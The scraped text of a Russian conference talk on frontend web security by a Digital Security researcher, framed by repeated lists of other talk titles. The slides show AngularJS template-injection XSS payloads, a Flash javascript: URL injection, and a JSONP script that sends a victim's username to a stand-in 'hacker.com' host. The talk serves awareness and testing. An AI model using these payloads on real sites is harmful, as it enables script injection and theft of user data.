Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...Ontico
 
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...Ontico
 
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...Ontico
 
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)Ontico
 
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)Ontico
 
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)Ontico
 
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)Ontico
 
100500 способов кэширования в Oracle Database или как достичь максимальной ск...
100500 способов кэширования в Oracle Database или как достичь максимальной ск...100500 способов кэширования в Oracle Database или как достичь максимальной ск...
100500 способов кэширования в Oracle Database или как достичь максимальной ск...Ontico
 
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...Ontico
 
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...Ontico
 

Más de Ontico (20)

One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
 
Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Масштабируя DNS / Артем Гавриченков (Qrator Labs)Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Масштабируя DNS / Артем Гавриченков (Qrator Labs)
 
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
 
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
 
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
 
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
 
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
 
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
 
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
 
MySQL Replication — Advanced Features / Петр Зайцев (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)MySQL Replication — Advanced Features / Петр Зайцев (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)
 
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
 
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
 
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
 
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
 
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
 
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
 
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
 
100500 способов кэширования в Oracle Database или как достичь максимальной ск...
100500 способов кэширования в Oracle Database или как достичь максимальной ск...100500 способов кэширования в Oracle Database или как достичь максимальной ск...
100500 способов кэширования в Oracle Database или как достичь максимальной ск...
 
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
 
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
 

(Не)безопасный Frontend / Сергей Белов (Digital Security)

  • 2. #  whoami ©  2002—2015,  Digital  Security 2 (Не)безопасный  frontend Work/Activity   BugHuting   Speaker
  • 3. О  чём  разговор? ©  2002—2015,  Digital  Security 3 (Не)безопасный  frontend SOP   Same  Origin  Policy   scheme://domain:port   +  усиление  безопасности
  • 4. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 4 (Не)безопасный  frontend Межсайтовый  скриптинг
  • 5. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 5 (Не)безопасный  frontend Межсайтовый  скриптинг  (XSS)   ▪ Хранимые  (server  side)   ▪ Отраженные  (server  side)   ▪ DOM  (client  side!)
  • 6. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 6 (Не)безопасный  frontend document.write("Site is at: " + document.location.href); http://victim.com/action#<script>alert('xss')</script>
  • 7. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 7 (Не)безопасный  frontend Sources   ▪  document.URL   ▪  location   ▪  document.referrer   ▪  window.name   ▪  localStorage   ▪  cookies   ▪  …      
  • 8. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 8 (Не)безопасный  frontend Sinks   ▪  eval   ▪  document.write   ▪  (element).innerHTML   ▪  (element).src   ▪  setTimeout  /  setInterval   ▪  execScript   ▪  …     https://code.google.com/p/domxsswiki/   http://habrahabr.ru/company/xakep/blog/189210/  
  • 9. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 9 (Не)безопасный  frontend
  • 10. Утечки  информации ©  2002—2015,  Digital  Security 10 (Не)безопасный  frontend Утечки  информации
  • 11. ©  2002—2015,  Digital  Security 11 (Не)безопасный  frontend testServer = host.match(/[^.]+.((?:f|my.XXX)d*).YYY.ru/) devServer = host.match(/^.+.dev.YYY.ru$/), isXXX = testServer && testServer[1].indexOf('my.XXX') == 0, ... internalDevHOST = '172.16.22.2'; internalProdHOST = '172.16.22.5'; ... file:///applications/releases.../sidebar.scss Утечки  информации
  • 12. MVC  фреймворки ©  2002—2015,  Digital  Security 12 (Не)безопасный  frontend MVC  фреймворки
  • 13. MVC  фреймворки ©  2002—2015,  Digital  Security 13 (Не)безопасный  frontend
  • 14. MVC  фреймворки ©  2002—2015,  Digital  Security 14 (Не)безопасный  frontend Фреймворки  помогают  расширить  работу  с  DOM   -­‐  Шаблонизаторы   -­‐  Новые  элементы  <rockyou></rockyou>   -­‐  Биндинги  
  • 15. MVC  фреймворки ©  2002—2015,  Digital  Security 15 (Не)безопасный  frontend Logic-­‐less  templates   <ul> <li ng-repeat="phone in phones"> <span>{{phone.name}}</span> <p>{{phone.snippet}}</p> </li> </ul>
  • 16. MVC  фреймворки ©  2002—2015,  Digital  Security 16 (Не)безопасный  frontend Фигурные  скобки   <ul> <li ng-repeat="phone in phones"> <span>{{phone.name}}</span> <p>{{phone.snippet}}</p> </li> </ul>
  • 17. MVC  фреймворки ©  2002—2015,  Digital  Security 17 (Не)безопасный  frontend {Logic-­‐less  templates.   http://mustache.github.io/  
  • 18. JSMVC  фреймворки ©  2002—2015,  Digital  Security 18 (Не)безопасный  frontend
  • 19. MVC  фреймворки ©  2002—2015,  Digital  Security 19 (Не)безопасный  frontend •VueJS   •AngularJS   •CanJS   •Underscore.js   •KnockoutJS   •Ember.js Mustache  Security https://code.google.com/p/mustache-­‐security/   •Polymer   •Ractive.js   •jQuery   •JsRender   •Kendo  UI
  • 20. MVC  фреймворки ©  2002—2015,  Digital  Security 20 (Не)безопасный  frontend Mustache  Security   AngularJS  (1.1.5)  –  Межсайтовый  скриптинг   
 <div class="ng-app">
 {{constructor.constructor('alert(1)')()}}
 </div>
  • 21. MVC  фреймворки ©  2002—2015,  Digital  Security 21 (Не)безопасный  frontend Mustache  Security   AngularJS  (1.2.18)  –  Межсайтовый  скриптинг,  после   фиксов   
 {{ (_=''.sub).call.call({}[$='constructor'] .getOwnPropertyDescriptor(_.__proto__,$) .value,0,'alert(1)')() }}
  • 22. MVC  фреймворки ©  2002—2015,  Digital  Security 22 (Не)безопасный  frontend Обновление  фрейморков  важно  для    безопасности!
  • 23. Cookies ©  2002—2015,  Digital  Security 23 (Не)безопасный  frontend Cookies
  • 24. Cookies ©  2002—2015,  Digital  Security 24 (Не)безопасный  frontend Обычно <?php setcookie('foo','bar1');   ?>   import Cookie C = Cookie.SimpleCookie()   C["foo"] = "bar" print C   Set-­‐Cookie:  foo=bar
  • 25. Cookies ©  2002—2015,  Digital  Security 25 (Не)безопасный  frontend Правильно:   1) Указывать  домен  для  установки  cookies   2) HttpOnly  для  сессионных  значений  (phpsessid…)   3) Secure  в  случае  “HTTPS  only”  
  • 26. Переход  на  HTTPS ©  2002—2015,  Digital  Security 26 (Не)безопасный  frontend Переход  на  HTTPS
  • 27. Переход  на  HTTPS ©  2002—2015,  Digital  Security 27 (Не)безопасный  frontend Server  side:   • Выбор  сертификата   • Настройка  вебсервера  (ciphersuite  и  т.п.)   • Перенаправление  
  • 28. Переход  на  HTTPS ©  2002—2015,  Digital  Security 28 (Не)безопасный  frontend Client  side   • Запрещаем  заходить  по  HTTP  –  HSTS   Strict-Transport-Security: max-age=31536000; • Добавляем  свой  ресурс  в  HSTS  preload  list         http://www.chromium.org/hsts  
  • 29. Безопасность  HTML5 ©  2002—2015,  Digital  Security 29 (Не)безопасный  frontend Безопасность  HTML5
  • 30. Безопасность  HTML5 ©  2002—2015,  Digital  Security 30 (Не)безопасный  frontend otherWindow.postMessage(message, targetOrigin); Window.postMessage() window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { if (event.origin !== "http://example.org:8080") return; // ... } Домен  A Домен  B
  • 31. Безопасность  HTML5 ©  2002—2015,  Digital  Security 31 (Не)безопасный  frontend Window.postMessage() if(message.orgin.indexOf(".example.com")!=-1) { /* ... */ } Неправильно! example.com.attacker.com
  • 32. Безопасность  HTML5 ©  2002—2015,  Digital  Security 32 (Не)безопасный  frontend HTTP  access  control  (CORS) 1) Модно   2) Безопасно   3) Накосячить  очень  сложно  ☺
  • 33. Безопасность  HTML5 ©  2002—2015,  Digital  Security 33 (Не)безопасный  frontend Cross-­‐origin  resource  sharing  (CORS) В  ответе  веб-­‐сервера:   Access-Control-Allow-Origin: *   Означает  отдавать  контент  всем
  • 34. Безопасность  HTML5 ©  2002—2015,  Digital  Security 34 (Не)безопасный  frontend Cross-­‐origin  resource  sharing  (CORS)   В  ответе  веб-­‐сервера:   Access-Control-Allow-Origin: *   Означает  отдавать  контент  всем   Но  не  это  правило  не  совместимо  с  заголовком   Access-Control-Allow-Credentials: true 
  • 35. Безопасность  HTML5 ©  2002—2015,  Digital  Security 35 (Не)безопасный  frontend Web  Sockets 1) Нет  авторизации   2) WSS://  для  важных  данных   3) Валидацию  никто  не  отменял  (сервер/клиент)   4) Проверка  Origin  (не  отменяет  п.  1)   5) …   https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet  
  • 36. Безопасность  HTML5 ©  2002—2015,  Digital  Security 36 (Не)безопасный  frontend Content  Security  Policy Указывает  браузеру  доверенные  домены  для  различных   ресурсов  (картинки,  js,  css...) X-Content-Security-Policy: script-src js.example.com
  • 37. Безопасность  HTML5 ©  2002—2015,  Digital  Security 37 (Не)безопасный  frontend
  • 38. Безопасность  HTML5 ©  2002—2015,  Digital  Security 38 (Не)безопасный  frontend Обход   1) Возможность  загружать  файлы  на  разрешенные   домены  в  CSP  (приложения  в  почте,  сообщениях)   2) Загрузить  js  файл  и  подключить
  • 39. Flash ©  2002—2015,  Digital  Security 39 (Не)безопасный  frontend Flash
  • 40. Flash ©  2002—2015,  Digital  Security 40 (Не)безопасный  frontend Магический  crossdomain.xml Самый  частый  случай
  • 41. Flash ©  2002—2015,  Digital  Security 41 (Не)безопасный  frontend Магический  crossdomain.xml Чуть  реже   •  Множество  доменов,  в  т.ч.  от  старых  названий  и   проектов  (wamba.com  bugbounty  –  3000  рублей)   •  Разрешены  домены  для  приложений  из  соц.  сетей
  • 42. Flash ©  2002—2015,  Digital  Security 42 (Не)безопасный  frontend XSS  через  Flash  -­‐  пример  с  getURL   Уязвимый  код   getURL(_root.URI,'_targetFrame'); 
 Пример  эксплуатации   http://victim/file.swf?URI=javascript:evilcode getURL('javascript:evilcode','_self'); Больше  про  Cross  Site  Flashing  на  OWASP
  • 43. Flash ©  2002—2015,  Digital  Security 43 (Не)безопасный  frontend CVE-­‐2011-­‐2461  IS  BACK!   1)  SWF  должен  быть  собран  с  уязвимой  версией  Adobe   Flex   2)  Дает  полный  обход  SOP
  • 44. Flash ©  2002—2015,  Digital  Security 44 (Не)безопасный  frontend CVE-­‐2011-­‐2461  IS  BACK!   Для  проверки  можно  использовать  ParrotNG   https://github.com/ikkisoft/ParrotNG/   java -jar parrotng_v0.2.jar <SWF File | Directory> Больше  информации   • http://blog.nibblesec.org/2015/03/the-­‐old-­‐is-­‐new-­‐again-­‐cve-­‐2011-­‐2461-­‐is.html   • http://www.slideshare.net/ikkisoft/the-­‐old-­‐is-­‐new-­‐again-­‐cve20112461-­‐is-­‐back  
  • 45. Раскрытие  информации  через  JSONP ©  2002—2015,  Digital  Security 45 (Не)безопасный  frontend Раскрытие  информации   через  JSONP
  • 46. Раскрытие  информации  через  JSONP ©  2002—2015,  Digital  Security 46 (Не)безопасный  frontend
  • 47. JSONP  leaks ©  2002—2015,  Digital  Security 47 (Не)безопасный  frontend
  • 48. JSONP  leaks ©  2002—2015,  Digital  Security 48 (Не)безопасный  frontend http://habrahabr.ru/post/186160/ <script> function func(obj) { var url = "http://hacker.com/log?val="+obj['username']; $.get(url); } </script> <script src="http://victim.com/api/getUserInfo?callback=func"> </script>
  • 49. X-­‐Frame-­‐Options ©  2002—2015,  Digital  Security 49 (Не)безопасный  frontend X-­‐Frame-­‐Options
  • 50. X-­‐Frame-­‐Options ©  2002—2015,  Digital  Security 50 (Не)безопасный  frontend X-­‐Frame-­‐Options  в  ответе  веб-­‐сервера  позволяет   1) Полностью  запретить  показ  страницы  во  фрейме   2) Частично  запретить  (например,  разрешить  только   для  того  же  origin)  
  • 51. X-­‐Frame-­‐Options ©  2002—2015,  Digital  Security 51 (Не)безопасный  frontend
  • 52. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 52 (Не)безопасный  frontend Extensions  /  SmartTV
  • 53. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 53 (Не)безопасный  frontend Расширения  для  браузера?   -­‐JS/HTML/CSS   -­‐  Взаимодействие  с  DOM   -­‐  Неограниченные  XHR  запросы   -­‐  Расширенное  API     Приложения  для  SmartTV  –  тоже  самое.
  • 54. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 54 (Не)безопасный  frontend
  • 55. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 55 (Не)безопасный  frontend Видео
  • 56. ©  2002—2015,  Digital  Security 56 (Не)безопасный  frontend На  десерт
  • 57. ©  2002—2015,  Digital  Security 57 (Не)безопасный  frontend <a href=“http://external.com”>Go!</a> В  заголовках  будет   Referer: http://yoursite.com/   А  что  в  случае  с  изображениями,  стилями,  JS  файлами?
  • 58. ©  2002—2015,  Digital  Security 58 (Не)безопасный  frontend http://super-­‐website.com/user/passRecovery?t=SECRET   ...   <img src=http://comics.com/password.jpg> ...     Владелец   comics.com   Знает  все  секретные  токены  (для  сброса  пароля!)
  • 59.       twitter.com/sergeybelove sbelov@dsec.ru       © 2002—2015, Digital Security Digital Security в Москве: (495) 223-07-86 Digital Security в Санкт-Петербурге: (812) 703-15-47 59 Тестируйте  безопасность!